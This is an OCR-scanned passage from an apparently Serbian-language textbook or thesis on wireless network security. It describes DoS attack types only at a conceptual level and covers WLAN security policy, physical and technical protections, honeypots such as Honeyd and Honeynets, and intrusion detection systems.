programske greske. Zbog toga je najces¢i metod DoS napada generisnje veceg
prometa prema mrezi nego Sto baferi mogu prihvatiti.

Jedan tip napada popunjavanja bafera iskoriS¢ava manu u implementaciji ICMP-a.

Napada¢ ne mora znati nista o ra¢unaru Koji napada, osim njegove IP adrese. Ovaj
metoda napada poznat je i kao “ping of death”. Ovaj napad ukljucuje slanje

79



Zastita podataka u bezicnim WLAN i WAN racunarskim mrezama - Viadan Josipovi¢

zlonamerne ping poruke racunaru. U normalnom slucaju ping je velicine 64 okteta.
Mnogi sistemi ne mogu obraditi ping zahtev koji je ve¢i od maksimalne veli¢ine IP
paketa. Slanje ping paketa te veli¢ine nije dozvoljeno u mreznim protokolima, ali je
moguce poslati fragmentisani paket te veli¢ine. Kada racunar primi takav paket i
ponovo ga slozi moze do¢i do popunjavanja bafera, sto ¢esto dovodi do pada sistema.

Izgladnjivanje bandwidtha se oslanja na Cinjenicu da napada¢ ima na raspolaganju
ve¢i bandwidth nego Zrtva. Takvi napadi danas se izvode putem DDoS napada
koriste¢i botnet-ove.

Takozvani “banana napad” ukljucuje preusmeravanje odlaznih poruka klijenta prema
tom istom klijentu. Time se onemogucava slanje poruka ka drugim raCunarima, a
postize se preplavljivanje klijenta. Napada¢ koji ima pristup racunaru Zrtve moze
usporiti racunar do nivoa njegove neupotrebljivosti ili do pada sistema koriste¢i
“fork” bombu.

Pulsiraju¢i zombie je termin koji se odnosi na posebnu vrstu DoS napada. Mrezi se
salje velika koli¢ina ping poruka, tokom duzeg perioda. Posledica toga je znatno
smanjen kvalitet usluge i povecano koriStenje mreznih resursa. Ovu vrstu napada teze
je otkriti od tradicionalnih DoS napada.

Najnoviji trend u DoS napadima su botneti. Botnet je skup autonomnih
softverskih robota. Termin botnet se koristi za skup kompromitovanih rac¢unara koji
izvode programe sa zajednickom naredbom 1 zajednickom kontrolnom
infrastrukturom. Noviji roboti mogu automatski skenirati okruzenje u kojem se nalaze
i Siriti se koriste¢i pronadene ranjivosti. Najpopularnije koriStenje botneta za
izvodenje DoS napada je koris¢enje istih za slanje spam poruka.

Slanje spam poruka takode je jedan od naina za izvodenje DoS napada. Slanjem
enormne koli¢ine beskorisnih poruka korisnicima, korisne poruke i resursi mogu biti
izgubljeni. Crvi i virusi takode mogu biti poslani putem spama da bi stvorili pocetni
skup zarazenih racunara, koja Salju viruse ostalim racunarima. Zarazeni racunari
mogu se koristiti kao zombiji, da bi slali dodatne spamove ili izvodili DoS napade.
Prema “The Communications Research Network’s” VoIP bi mogao postati nova meta
DoS napada. Sposobnost zvanja unutra i van VolP overlay-a dozvoljava kontrolu
aplikaciji kroz govornu mrezu i na taj nain pronalazak izvora napada ¢ini gotovo
nemogucim. Kriptovanje, P2P i super-peer sistemi pomazu u preusmeravanju poziva i
NAT/firewall dodatno maskiraju saobracaj.

Problem DoS napada nije se znacajno promenio tokom proteklih godina.
Mrezni resursi ostaju ograniCeni i ranjivi. Od DoS napada, zbog svoje prirode, se
teSko obraniti. Zbog toga Ce ostati atraktivan metod napada.

Kolicina DoS problema, u kojima su mreze “padale” zbog preplavljivanja
elektronskom postom, teSko se moze proceniti. Mnogi napadi nisu prijavljeni zbog
straha organizacija da ¢e izgubiti poverenje u njihovu bezbednost. Broj zombie
raCunara koji se koriste u DDoS napadima je takode nepoznat, ali se procenjuje da ih
ima nekoliko miliona. Naredba za napad najéesce dolazi putem instant messaging.
Internet provajderi za sada mogu kontrolisati instant message servere. Ali ako se ta
kontrola kompromituje, bi¢e jako tesko pronaci krivca za DoS napade.

lako se ukupan broj elektronskih napada smanjio, joS uvek postoji velika pretnja od
buduéih DoS napada. Oni ¢e postati automatizovaniji, sofisticiraniji i bi¢e ih tesko
iskoreniti.

80



Zastita podataka u bezicnim WLAN i WAN racunarskim mrezama - Viadan Josipovi¢

10. Mere za poboljSanje bezbednosti WLAN

Mere za zaStitu bezi¢ne racunarske mreze se mogu sprovoditi na upravljackom,
operativnom i tehnickom nivou.

10.1 Upravljacke mere za zastitu bezbednosti WLAN

Upravljacke mere za =zastitu bezbednosti pocinju sa obuhvatnom politikom
bezbednosti. Politika bezbednosti je dokument na osnovu kojeg su ostale mere
bezbednosti, operativne i tehni¢ke uskladene i implementirane. Bezbednost bezi¢ne
mreZe ukljucuje slede¢e odrednice:

Ovlaséenja i odgovornosti korisnika - Politika prikazuje Sta je sve u nju
ukljuceno, zasto je ona neophodna i Sta se deSava ako se ona prekrSi. Ona takode
definiSe odgovornost sluzbi i pojedinaca, posebno korisnika uopSte, odeljenja IT i
kontrolora.

Sredstva koja se Stite - Politika bezbednosti moze identifikovati ili ukazati na
osetljive informacione resurse, komunikacione kanale i sisteme koje treba zastiti u
bezi¢noj mrezi.

Pretnje i slabosti - Politika bezbednosti moze da uklju¢i i deo u kojem se
identifikuju pretnje po bezi¢nu mrezu.

Analiza napada - Politika bezbednosti moze identifikovati posledice koje nastanu
u slu¢aju narusavanja bezbednosti bezi¢ne mreze.

Postupci i odgovornosti - Politika bezbednosti bi trebalo da identifikuje i definiSe
bezbednosne procedure za sledeée slucajeve:

- Kreiranje naloga za nove korisnike.

- Politiku lozinki i njihovo obnavljanje.

- Autentikaciju.

- Pristup opremi i prostorijama.

- IzveStavanje o narusavanju bezbednosti.
- Raspolaganje sa osetljivim podacima.

Planiranje odgovora na naruSavanje bezbednosti - Moze biti opisano
ukljucujuéi i planove odgovora na razli¢ite incidente, spisak osoba koje treba pozvati
u slucaju incidenta i njihovu odgovornost, proces ispitivanja uzroka incidenta, proces
oporavka sistema, popis izveStaja koji se moraju podneti posle incidenta.

Prihvatljivo koriSc¢enje - Politika bezbednosti moze da se kreira tako Sto bi bile
definisane dozvoljene aktivnosti na bezi¢noj mrezi (npr. pristup internetu, razmena
elektronske poste i poslovna primena). Politika takoze moze da definiSe aktivnosti
koje su izriCito zabranjene na bezi¢noj mrezi sa objaSnjenjem potrebe da se zastite
resursi korisnika i odrzi integritet mreze.

Bezbednost na krajnjim tatkama - Kontrola bezbednosti na radnim stanicama,
laptop racunarima, PDA i drugim bezi¢nim uredajima koji su ukljuceni u politiku
bezbednosti bezine mreze. Zahtevi za Cesto ¢ak i dnevno azuriranje softvera,
namensko kori$éenje bezbednosnog softvera (npr. VPN Kklijenti, anti-virus i firewall),
treba da budu ukljuceni. Lista za kontrolu bezbednosti moze da ima razne oblike
prema mogucénostima pristupa krajnjoj opremi, na lokaciji opreme ili preko mreze.

Uputstvo za uvodenje WLAN - Politika treba da obezbedi uputstvo za
implementaciju i razmestaj delova bezi¢nih sistema. Treba da odredi ko moze da
instalira pristupne tacke i drugu bezi¢nu opremu i da obezbedi ograni¢enja za lokacije
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i fizicku bezbednost za pristupne tacke. Takode moze da obezbedi podrazumevane
konfiguracije za pristupne tacke (koriste¢i WPA2/802.111) i krajnje uredaje (koriste¢i
VPN), autentikaciju (koriste¢i autentikaciju na osnovi 802.11X) i mehanizam
poverljivosti, zahteve za upravljanje kljucevima, i zahteve za fizicko rasporedivanje
uredaja i mreze.

Politika razvijanja - Trebalo bi povesti ratuna o uvodenju promena u veé
razmeStenoj infrastrukturi, kao Sto je registracija uredaja, procedure za dogradnju
uredaja, uklanjanje i dodavanje uredaja, kao i testiranje interoperabilnosti uredaja.

Verifikacija i usaglaSavanje - Politika treba da ukljucuje zahteve za dnevnike
revizije i obra¢una troSkova, ukljucujuéi i specifikacije akcija i dogadaja koje treba
zabeleziti, kao i ucestalost pregleda dnevnika. Politika treba da sadrzi predvidenu
ucestalost 1 opseg bezbednosnih procena za ukljucenje pristupne tacke.

Nametanje politike — Politika treba da definiSe odgovornost za nadziranje
zaposlenih, i treba da do detalja definiSe aktivnosti na disciplinovanju prekrsioca i
ponovljenih prekrsioca.

Obaveze prema regulativi — Politika bezbednosti WLAN mora uzeti u obzir bilo
koji relevantni industrijski standard (npr. Payment Card Industry Data Security
Standard (PCI-DSS)) ili uputstva za oCuvanje i zastitu privatnosti podataka.

Obuka i podizanje nivoa svesti o bezbednosti — Zajedno sa jasnim delokrugom
politike bezbednosti, organizacije koje koriste WLAN treba takode da obezbede da
svo kriticno osoblje bude na odgovarajuc¢i nacin obuceno za koris¢enje bezicne
tehnologije. Administratori mreze treba da budu potpuno svesni bezbednosnih rizika
koje sa sobom nose mreza i uredaji. Oni moraju da rade kako bi garantovali primenu
politike bezbednosti i da znaju koje korake treba da preduzimaju u slucaju napada. Svi
korisnici WLAN treba da budu upozoreni na svoju odgovornost kada koriste bezi¢ne
mreze unutar organizacije na koju se odnosi politika bezbednosti ili kada koriste
mobilne bezi¢ne uredaje za povezivanje na druge bezi¢ne mreze, van organizacije.

10.2 Operativne mere za zastitu bezbednosti WLAN

Fizicka bezbednost je osnovna mera kojom se obezbeduje da samo
autorizovani korisnici imaju pristup bezi¢noj racunarskoj opremi. Fizicka bezbednost
podrazumeva mere kao Sto su:

- Kontrola pristupa — Identifikacija propusnicama, pristup uz identifikaciju putem
CitaCa kartica, identifikacija biometrijskim uredajima su metode koje smanjuju
mogucénost neovlasé¢enog pristupa opremi za bezi¢nu ra¢unarsku mrezu.

- Li¢na identifikacija.

- ZaStita na vise nivoa - zakljuCavanje vrata, instalacija video nadzora za
nadgledanje prostora oko objekata u kojima je postavljena WLAN. Na taj nacin se
odvracaju potencijalni napadaci na pristupne tacke.

Svaka od navedenih mera je vazna, ali napada¢ na bezi¢nu mrezu se moze nalaziti
van objekta u kojem se koristi bezi¢na mreza, a da ipak bude u dometu te mreze, sa
moguénoséu upada u nju. Da bi se to sprecilo, koristi se alat za procenu bezbednosti
bezi¢ne mreze (Npr. procena povredivosti) i sprovodenje bezbednosne procene se
obavlja redovno. Bezbednosne procene se vrSe kako bi se osigurala usaglaSenost
opreme i ponaSanja zaposlenih sa politikom bezbednosti. Testiranje na probijanje
zaStite bezi¢ne mreze se takode pojavljuje kao mogucénost da se bezbednost bezi¢ne
mreze odrzi u okviru predvidene tolerancije rizika.
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10.3 Tehnicke mere za zasStitu bezbednosti WLAN

10.3.1 Uopste o tehni¢ckim merama zaStite WLAN

Tehnicke mere zaStite obuhvataju koriS¢enje hardverskih i softverskih
reSenja. Softverske mere zastite ukljucuju pravilno konfigurisanje pristupnih tacaka
(AP), instaliranje softverskih zakrpa i nadgradnju softvera, autentikacija, sistemi za
detektovanje upada (IDS), licni firewall za bezitne uredaje i Kriptovanje
komunikacija. Hardverska reSenja ukljucuju smart kartice, virtuelne privatne mreze
(VPN), infrastrukturu sa javnim kljuéem (PKI), segregaciju mreze, i biometrijske
metode zaStite. Treba primetiti da se neka od ovih reSenja pojavljuju i kao hardverska
i kao softverska. Tehnicke mere zastite bi trebalo da ukljucuju podrsku kriptovanjem i
kontrolu autentikacijom Sto je opisano u svakom od standarda za bezi¢ne mreze.
Kriptovanje u bezi¢nim komunikacijama se koristi prvenstveno da zastiti poverljivost
poruka i podataka za podeSavanje konekcije koji se Salju preko mreze. Autentikacija u
bezicnim mrezama se pojavljuje da bi se proverila veza izmedu jednog i drugog
uredaja, ili da se potvrdi da je korisnik ovlas¢en da se konektuje na odredenu mrezu.

Protokoli za kriptovanje koji se koriste u starijim standardima za bezi¢ne mreze su
bili implementirani na neodgovaraju¢i nacin a kao posledica toga je njihovo lako
probijanje (npr. WEP RC4). Koris¢enje najnovije verzije standarda za bezi¢ne mreze
je preporuéljivo, posto one imaju tendenciju da koriste protokole za kriptovanje koji
nisu podlozni probijanju (npr. WPA2, AES). Izbor protokola za kriptovanje zavisi od
raspolozive infrastrukture. Postoje¢i uredaji, nasledeni od ranije, mogu samo da
podrze WEP/TKIP, ali ne i WPA/WPA2. AES zahteva veéu procesorsku snagu.
Najbolja praksa po pitanju bezbednosti WLAN-a je korisé¢enje WPA2 i AES.

Mnoge bezi¢ne tehnologije dozvoljavaju upotrebu vise modova za autentikaciju,
¢ime se nudi razlicita ¢vrstina autentikacije. Na primer WPA i WPA2 se mogu
postaviti u li¢ni ili kompanijski mod. Li¢ni mod koristi slabiju PSK autentikaciju, a
kompanijski mod zahteva mnogo ¢vrs¢i 802.1x/EAP metod. U zavisnosti od poslova
koji se obavljaju, moze se odrediti prikladnost svake od metoda autentikacije. Za vece
mreze koje zahtevaju viSe upravljanja, centralizovana autentikacija i upravljanje
koris¢enjem 802.1X uz odgovarajuci izbor EAP se preporucuje. Za male privremene
mreze, metoda deljenog klju¢a moze da obezbedi odgovarajucu zastitu. Najbolja
autentikacija u praksi za WLAN je trenutno WPAZ2 uz koris¢enje 802.1X/EAP.

Stariji sistemi ili uredaji nisu kompatibilni sa ve¢inom novijih standarda, i ostala
infrastruktura (npr. server za autentikaciju) moze takode biti ograni¢enje za uspesnu
implementaciju bezbednosnih protokola novije generacije.

Dobra praksa je onemogucavanje network service set identifer SSID broadcast. Na
taj nacin se pristupna ta¢ka ¢uva od nepotrebnog oglasavanja svog prisustva.

Dodatne mere bezbednosti se mogu primenjivati pored ve¢ uklju¢enih bezbednosnih
funkcionalnosti prema bezbednosnim standardima i njima pridruzenim tehnologijama.
U mnogim slucajevima, ti dodaci mogu znacajno da povecaju nivo bezbednosti.
Dodatne mere ukljucuju:

- Koris¢enje virtualne privatne mreze (VPN) kojom se dodaje joS jedan nivo
bezbednosti za daljinski pristup. Kada se koristi bezicna mreza ili hotspot koji ne
pripadaju organizaciji (npr. kuéna ili javna WLAN), upotreba VPN je veoma
preporucljiva. Taj dodatni nivo zastite omogucava jacu autentikaciju i kriptovanje za
korisnike koji imaju daljinski pristup.

- Sistem za detekciju upada u bezi¢noj mrezi (IDS) je tehnologija iskoriS¢ena da
detektuje napade karakteristicne za bezi¢nu mrezu. Kori¢enje bezicnog IDS sistema
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dozvoljava organizaciji koja Stiti svoju mrezu da reaguje na napad Sto je ranije
moguce i tako minimizuje bilo koje oste¢enje na mrezi. Bezicni IDS se dalje moze
koristiti da poveca mogucnost predvidanja napada i za upravljanje procedurom
iskljucenja korisnika, kao Sto je blokiranje ili deautentikacija sumnjivih korisnika, ili
promena bezicnih kanala kako bi se iskoristilo slabljenje signala, i tako onemogucio
pristup napadacu.

- Kiriptovanje podataka na hard disku je veoma preporucljivo za osetljive
informacije koje se cuvanju na nekom od uredaja koji ima pristup bezi¢noj mrezi.

- WEP nije siguran, nije dizajniran kao potpuno resenje za obezbedivanje mreze,
ve¢ mu je namena samo da podigne nivo bezbednosti na nivo kakav je postojao u
ranijim kablovskim mrezama. Postoji veliki broj programa koji "provaljuju™ WEP
algoritam a lako su dostupni na internetu. Ako oprema nije zastarela preporucuje se
WPA2 umesto WEP-a.

- Kada se radi o mrezi sa mnogo korisnika, preporuka je da se izvrSi njena
segmentacija. To je tehnika koja predstavlja razdvajanje racunarske mreze u
podmreze. Tako se postizu bolje performanse i povecava bezbednost takvih
podmreza, zato Sto se postavljaju dodatna pravila za deo mreze u kojem se nalaze
kriticne komponente. Segmentacija se najcesc¢e ostvaruje pomocéu mreznih uredaja
bridge, switch, i router.

- Ako se omogucava broadcast SSID, ne Koristiti imena firme ili imena po kojima
bi neko lako mogao da utvrdi o ¢ijoj se mrezi radi za SSID (service set identifier) i
AP. Ta imena se ne Sifruju u hederu 802.11x paketa podataka, tako da svako moze da
ima podatak o kojoj se mrezi radi, a napadacu je znacajno olakSan posao kada tacno
zna gde i Sta treba napasti.

- Ne dozvoliti da bilo ko vidi MAC adresu AP-a iako mnogi proizvodaci opreme
ugraduju moguénost automatskog prepoznavanja adrese.

- Menjanje kljuca s vremena na vreme ne donosi neku zastitu jer hakeri klju¢ mogu
“provaliti” u roku od par minuta, a promena se mora ruc¢no izvrsiti na svakom AP-u
u mrezi. lz tog razloga su razvijeni automatski izmenjivaci kljuca koji ga menjaju
dosta cesto na svim AP-ovima istovremeno.

- Postaviti AP tako da pokriva svu potrebnu povrsinu ali da signal Sto manje
napusta zgradu ili okruzenje u kojem se radi.

- Pre prve instalacije AP-a obavezno promeniti Sifru i IP adresu.

- Ne koristiti DHCP (Dynamic Host Configuration Protocol) na WLAN-u.
Pronalazenje postojece IP adrese u mrezi kada se koristi DHCP je veoma jednostavno.

- Postoji moguénost koris¢enja boja za zidove koje blokiraju wireless signal. Boja
sadrzi okside gvozda i aluminijuma i apsorbuje talase frekvencije do 128 GHz. [21]

- Merenjem jacine signala pomocu vise prijemnika, utvrduje se lokacija klijenta
koji se prijavljuje na AP i na osnovu toga dozvoljava ili odbija pristup mrezi. Postoje
HW/SW alati za takvu zastitu, koriste se za zaStitu velikih beZi¢nih mreza.

10.3.2. Honeypot tehnologija za zastitu beZi¢ne mreZe
Za razliku od firewall-a ili IDS, honeypot ne reSava samo jedan specifican problem.
To je veom fleksibilan alat kojim se mogu obavljati poslovi od otkrivanje napada na

IPv6 mrezama do hvatanja prevara sa kreditnim karticama on-line. UopStena
definicija koja pokriva sve manifestacije, honeypot je resurs informacionog sistema
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¢ija je vrednost u neovlas¢enom koris¢enju tog resursa. Kao i svaki koncept i ovaj ima
svoje prednosti i nedostatke.

Prednosti honeypot tehnologije:

- Mali skup podataka od velike vaznosti: Honeypot prikuplja veoma malo
podataka. Skup podataka koje prikupi za jedan dan ne prelazi veli¢inu reda
MB (kod drugih sistema je to reda GB). Prose¢no generise desetak upozorenja
dnevno. Honeypot prikuplja samo maliciozne i neautorizovane aktivnosti. To
znacajno smanjuje potrebno vreme i troskove analize podataka.

- Novi nestandardni alat i taktika odbrane od napada na mrezu.

- Zahteva upotrebu minimalnih resursa: Racunar klase PII sa 128 MB RAM-a
moze bez poteskoc¢a da opsluzuje mrezu klase B na ovim poslovima.

- Kriptovanje ili IPv6: Za razliku od vecine drugih tehnologija (kao $to su IDS
sistemi) honeypot radi bez problema u kriptovanom ili IPv6 okruzenju. Bez
obzira kakve podatke napadac¢ ubacivao u honeypot, on ¢e ih detektovati i
sakupiti.

- Jednostavnost: Konceptualno je honeypot veoma jednostavan. Nema slozenih
algoritama u razvoju, glomaznih tabela za odrzavanje niti dodataka i ispravki
za update. Sto je jednostavnija tehnologija to je manje moguénosti za greske
ili pogresno konfigurisanje alata za zastitu.

Nedostatci honeypot tehnologije:

- Ograni¢en opseg vidljivosti: Honeypot moze da registruje aktivnosti koje su
direktno ka njemu usmerene, a ne moze da registruje napade na druge sisteme
oko sebe, ako nije i sam obuhvacen tim napadom.

- Rizik: Sve tehnologije za zastitu bezbednosti su obuhvacene rizikom. Firewall
je pod rizikom da bude probijen, kriptovanje da bude razbijeno, IDS senzori
mogu da propuste registrovanje napada. Honeypot ima rizik da bude
iskoriS¢en od strane napadaca za napad na druge sisteme. Taj rizik zavisi od
vrste honeypot sistema i njegove konfiguracije.

Vrste honeypot zastita:

Honeypot se pojavljuje u viSe oblika i velicina kako bi se otezalo
prepoznavanje ovih sistema od strane napadaca. Generalno postoje dve kategorije, sa
niskom interakcijom i sa visokom interakcijom. Interakcija definiSe nivo aktivnosti
koji honeypot dozvoljava napadacu.

Honeypot sa niskom interakcijom radi sa emulacijom servisa i operativnih sistema.
Aktivnosti napadaca su ograni¢ene na nivo emulacije, na primer emulirani FTP servis
sluSa na portu 21 i moze samo da emulira FTP prijavljivanje i eventualno jo$ nekoliko
jednostavnijih komandi u FTP. Prednost ovakvog sistema je njegova jednostavnost,
lako se instalira i odrzava, sa minimalnim rizikom. Uvodenje ovakvih honeypot
obuhvata instalaciju softvera, izbor operativnih sistema i servisa koje treba emulirati
kao i monitor aktivnosti napadaca. Sve ovo je veoma jednostavno i dostupno Sirem
krugu zainteresovanih organizacija koje Stite svoju bezicnu mrezu. Emulacija servisa
smanjuje rizik od nezeljenih aktivnosti napadaca, tako da on ne moze preuzeti ovakav
honeypot tj. njegov operativni sistem i sa te pozicije dalje napadati ostatak Sticene
mreze. Glavni nedostatak honeypot sa niskom interakcijom je Sto belezi samo
ogranien skup informacija ve¢ unapred poznatih aktivnosti koje napada¢ sprovodi.
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Napadac, ako je iskusan, jednostavno otkriva ovakav honeypot, bez obzira koliko su
dobre emulacije. Primeri honeypot sa niskom interakcijom su Specter, Honeyd i
KFSensor.

Honeypot sa visokom interakcijom je obicno komplikovano reSenje koje zahteva
stvarno instaliran operativni sistem i aplikacije. Prednost ovakvog reSenja se ogleda u
dve stvari. Prvo, moze se prikupiti veoma mnogo informacija. Davanjem napadacu
realnog sistema sa kojim ¢e biti u interakciji, moze se nauciti dosta o navikama
napadaca, o metodama napada i softverskom alatu koji koristi. Drugo, nema
pretpostavki o tome kako se napadac ponasa, zato Sto je obezbedeno realno okruzenje
u kojem se registruju sve aktivnosti. Sve ovo znacajno povecéava rizik od preuzimanja
honeypot sistema od strane napadaca i njegovo koriS¢enje za napad na ostatak mreze.
U tom smislu su razvijene nove metode koje se implementiraju kako bi zastitile
honeypot od preuzimanja. Samim tim je i instalacija i odrzavanje ovakvog honeypot
sistema znatno slozenija. Primeri honeypot sa visokom iterakcijom su Symantec
Decoy Server i Honeynets. [14].

Honeyd - primer honeypot sa niskom interakcijom:

Autor Honeyd-a je Niels Provos, to je Open Source projekat namenjen pre
svega za Linux (mada je portovan i za Windows). Honeyd radi na principu
monitoringa neiskori§¢enog IP prostora. Kad god uoci pokuSaj konekcije na neku od
neiskoris¢enih IP adresa, on prihvata konekeiju i u interakciji sa napadacem nastoji da
bude zrtva. Honeyd detektuje i belezi bilo koju konekciju na bilo kom UDP ili TCP
portu. Dodatno se mogu konfigurisati emulacije servisa za nadgledanje Zzeljenih
portova, kao Sto je emulacija FTP servera nadgledanjem TCP porta 21. Kada se
napada¢ konektuje na emulirani servis, pored prijavljivanja na sistem belezi se i sva
ostala aktivnost napadaca, username i pasword, komande koje je izdavao, eventualno
se moze otkriti i namera napadaca pa ¢ak i njegov identitet. Koli¢ina i vrsta
informacija koje se mogu prikupiti zavise od nivoa na kojem je izvedena emulacija.
Vecina emulacija radi sli¢no, prema oc¢ekivanom nacinu ponasanja, unapred su zadate
reakcije honeypot. U slucaju da napada¢ uradi neSto nepredvideno, reakcija je
najces¢e u vidu generisanja poruke o gresci. Neki honeypot, kao Sto je Honeyd, ne
emuliraju samo servise, ve¢ i operativne sisteme. Honeyd se pred napadacem moze
pojaviti kao Cisco router, WinXP webserver ili Linux DNS server. To je prednost,
zato Sto se honeypot bolje prilagodava sistemu pored kojeg radi. Moze se ciljati na
specificnog napadaca, tako Sto mu se omoguéi napad na sistem i servise koje on
najces¢e napada. Postoje dva elementa pri emulaciji operativnog sistema. Prvi je
emulacija servisa. Kada se napada¢ konektuje na emulirani servis, tada servis radi kao
S$to bi se ponasao u odredenom operativnom sistemu. Na primer, ako imamo servis
emulacije web servera, i ako se zeli da honeypot emulira Win2000 server, tada se
mora emulirati ponasanje 11S webservera. Za Linux bi to bilo ponaSanje Apache
webservera. Vecina honeypot emulira operativne sisteme na ovaj nain. Neki
napredniji honeypot emulaciju obavljaju za jedan korak naprednije (kao i Honeyd).
Ne emuliraju samo na nivou servisa, ve¢ i na nivou IP steka. Ako neko koristi metodu
»active fingerprinting“ da bi odredio pod kojim je tipom operativnog sistema
honeypot, ve¢ina honeypot ¢e odgovoriti sa IP stekom karakteristicnim za operativni
sistem pod kojim je instaliran honeypot. Honeyd i joS neki napredniji honeypot ce
obmanuti napadaca ne samo emulacijom servisa ve¢ i emulacijom IP steka. Nivo
emulacije dakle zavisi od izbora honeypot tehnologije.
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Honeynets - primer honeypot sa visokom interakcijom:

Honeynets nije gotov softverski proizvod koji se moze instalirati na racunaru.
To je arhitektura Citave mreze racunara koja je napravljena da bi sluzila kao meta
napada. ldeja je da se postavi arhitektura u okviru koje je izuzetno kontrolisana
mreza, i gde su sve aktivnosti kontrolisane i registrovane. U okviru te mreze se
postavlja potencijalna Zrtva napada, to je stvarni racunar na kojem radi isto tako
stvarna aplikacija. Napada¢ pronalazi, napada i ulazi u taj sistem na svoju inicijativu.
Dok to radi nije svestan da je unutar Honeynets. Sve njegove aktivnosti, od
kriptovane SSH sesije do emaila i spustanja fajlova se registruju bez njegovog znanja.
To se radi pomoc¢u ubacenih modula u kernel sistema koji predstavlja zrtvu. U isto
vreme Honeynets kontroliSe aktivnost napadaca. To se obavlja uz pomoc¢u Honeywall
gejtveja. Taj gejtvej dozvoljava ulazni saobraéaj prema sistemu koji predstavlja zrtvu,
ali kontroliSe odlazni saobracaj primenom tehnologije spre¢avanja upada. To daje
napadacu slobodu interakcije sa sistemom koji predstavlja zrtvu, ali spreCava
napadaca da naskodi drugim racunarima koji nisu u Honeynet mrezi.

Primenljivost Honeypot tehnologije:

Postoje generalno dve kategorije honeypot sistema, kao Sto je ve¢ navedeno,
ali prema nacinu upotrebe honeypot sistemi se mogu podeliti na primenjene i
istrazivaCke. Primenjeni honeypot sistemi se koriste za zastitu bezi¢nih mreza $to
ukljucuje prevenciju, detekciju i odgovor na napad, to su uglavnom honeypot sistemi
sa niskom interakcijom. Istrazivacki honeypot sistemi se koriste za prikupljanje
informacija o trendovima u aktivnostima napadaca, ranom upozoravanju na
mogucénosti napada, kao i za potrebe prikupljanja dokaza u sprovodenju zakona.
Istrazivacki honeypot sistemi su uglavnom sistemi sa visokom interakcijom.

10.3.3 Sistemi za detekciju upada u bezi¢ne mreze (IDS)
10.3.3.1 Vrste sistema za detekciju upada u beZi¢nu mrezu (IDS)

Upad u mrezu je kada neko, obi¢no napadac, pokusava da naudi ili zloupotrebi
bezi¢nu racunarsku mrezu. Sistem za zastitu od upada sluzi da detektuje i signalizira
takve aktivnosti na mrezi. Veéina ovakvih sistema je sposobna da signalizira i napade
tipa ometanja servisa (DoS). U nekim slucajevima IDS sistem je sposoban da
odgovori na napad, tako Sto rekonfiguriSe firewall sa ciljem da blokira saobracaj sa IP
adrese ili porta sa kojeg dolazi pretnja ili napad. Treba uociti razliku izmedu IDS koji
prati saobracaj unutar mreze i firewalla koji reaguje na saobracaj ka drugim mrezama.

Nacin na koji IDS sitemi rade u okviru bezicne mreze se znatno razlikuje od
IDS u okviru zicne LAN, najpre zato $to u zi¢noj mrezi postoji potpuna kontrola o
tome koja vrsta saobracaja se odvija kroz mrezu. U WLAN-u eter je medijum kroz
koji se prenose paketi i nema potpune kontrole saobracaja, pa je potrebno nadziranje
unutar mreze i van mreze.

Sistemi za zaStitu od upada u bezi¢nu mrezu se mogu podeliti u tri kategorije:

e IDS na bazi racunara domacina (engl. host-based), procenjuje informacije
koje dobija od jednog ili vise raCunara, ukljucujuci informacije od operativnog
sistema, sistemskih i aplikativnih fajlova.

e IDS na bazi mreze (engl. network-based), procenjuje informacije prikupljene
iz mrezne komunikacije, analiziraju¢i tok paketa koji se prenose kroz mrezu.
Paketi se prikuplaju uz pomo¢ senzora rasporedenih na pogodna mesta u
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mrezi. Osnovna poteskoca kod ovakvih sistema je obrada svih paketa koji
prolaze kroz mrezu u realnom vremenu, Sto zahteva posebna hardverska
resenja.

e IDS na bazi procene podloznosti napadu (engl. vulnerability-assessment),
detektuje slabosti unutar same mreze i firewall-a. Postoje dva primarna
modela za analizu dogadaja uz pomo¢ kojih se detektuju napadi:

0 Detektovanje na osnovu greSke (engl. misuse detection model): IDS
detektuje upad u mrezu na osnovu zapazanja aktivnosti koje su u vezi
sa prepoznatljivim znakovima upada u mrezu ili nekih slabosti mreze.

o Detektovanje na osnovu izuzetaka (engl. anomaly detection model)
IDS detektuje upad u mrezu na osnovu uocavanja izuzetaka u
mreznom saobracaju. Detekcija na osnovu izuzetaka u okviru raunara
domacina ili na bazi mreze ukljucuje: Detekciju na osnovu
prekoraCenja zadate vrednosti uocavaju¢i neuobicajene aktivnosti na
serveru ili mrezi, na primer neprimerenu upotrebu CPU resursa na
nekom od servera, povecanje zasi¢enja saobracaja na mrezi. Detekcija
na osnovu statistickih merenja, zasnovana na ranije uocenim
vrednostima koje se posmatraju. Merenja na osnovu zadatih pravila,
Sto ukljucuje ekspertski sistem. Detekcija na osnovu nelinearnih
algoritama kao Sto su neuralne mreze ili genetski algoritmi.

Vecina komercijalnih IDS alata se bazira na detektovanju na osnovu greske, tako da
karakteristike upada u mrezu moraju biti stalno dopunjavane od strane proizvodaca
ovakvih IDS.

IDS zasnovani na detektovanju na osnovu izuzetka imaju mogucnost da detektuju
simptome napada bez odredivanja modela napada, ali su veoma podlozni laznim
alarmima.

Ocenjivanje komercijalnih IDS je vrseno u laboratoriji u Los Alamosu i za tu namenu
je utvrden kriterijum po osnovu sledecih karakteristika:

1. prikladnost za IDS arhitekturu ili Semu upravljanja

2. fleksibilnost ili sposobnost prilagodavanja odredenoj mrezi koja se nadgleda

3. zastita od zlonamernog ubacivanja greSaka

4. interoperabilnost sa ostalim mreznim upravljackim i bezbednosnim alatima

5. obuhvatnost, sa moguénoséu da se proSiri koncept IDS na blokiranje Java
appleta ili Active-X kontrola, nadgledanje e-mail sadrzaja, blokiranje
odredenih URL

6. upravljanje dogadajima, kao Sto je upravljanje i izveStavanje o pracenju
dogadaja, dopunjavanje baze podataka o napadima

7. aktivan odgovor kada dode do napada, kao Sto je rekonfiguracija firewalla ili
rutera

8. podrska za isporuceni proizvod.

10.3.3.2 Neuronske mreze i IDS

Neuronska mreza sa veStaCkom inteligencijom se sastoji od skupa postupaka
kojim se transformiSe skup ulaza u skup trazenih izlaza kroz skup jednostavnih
procesnih jedinica ili ¢vorova i njihovih medusobnih veza. Podskupovi su ulazni
¢vorovi, izlazni ¢vorovi i ¢vorovi koji izmedu ulaza i izlaza formiraju skrivene nivoe.
Veze izmedu dva ¢vora imaju odredenu vrednost, Sto se koristi za odredivanje
njihovog medusobnog uticaja. 1zdvajaju se dva tipa arhitekture neuronskih mreza:
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e Nadgledani algoritmi za obucavanje gde u fazi obuCavanja, mreza uci
Zeljene izlaze za zadate ulaze ili modele. Poznata arhitektura nadgledane
neuronske mreze je (engl. Multi-Level Perception MLP); koja se koristi za
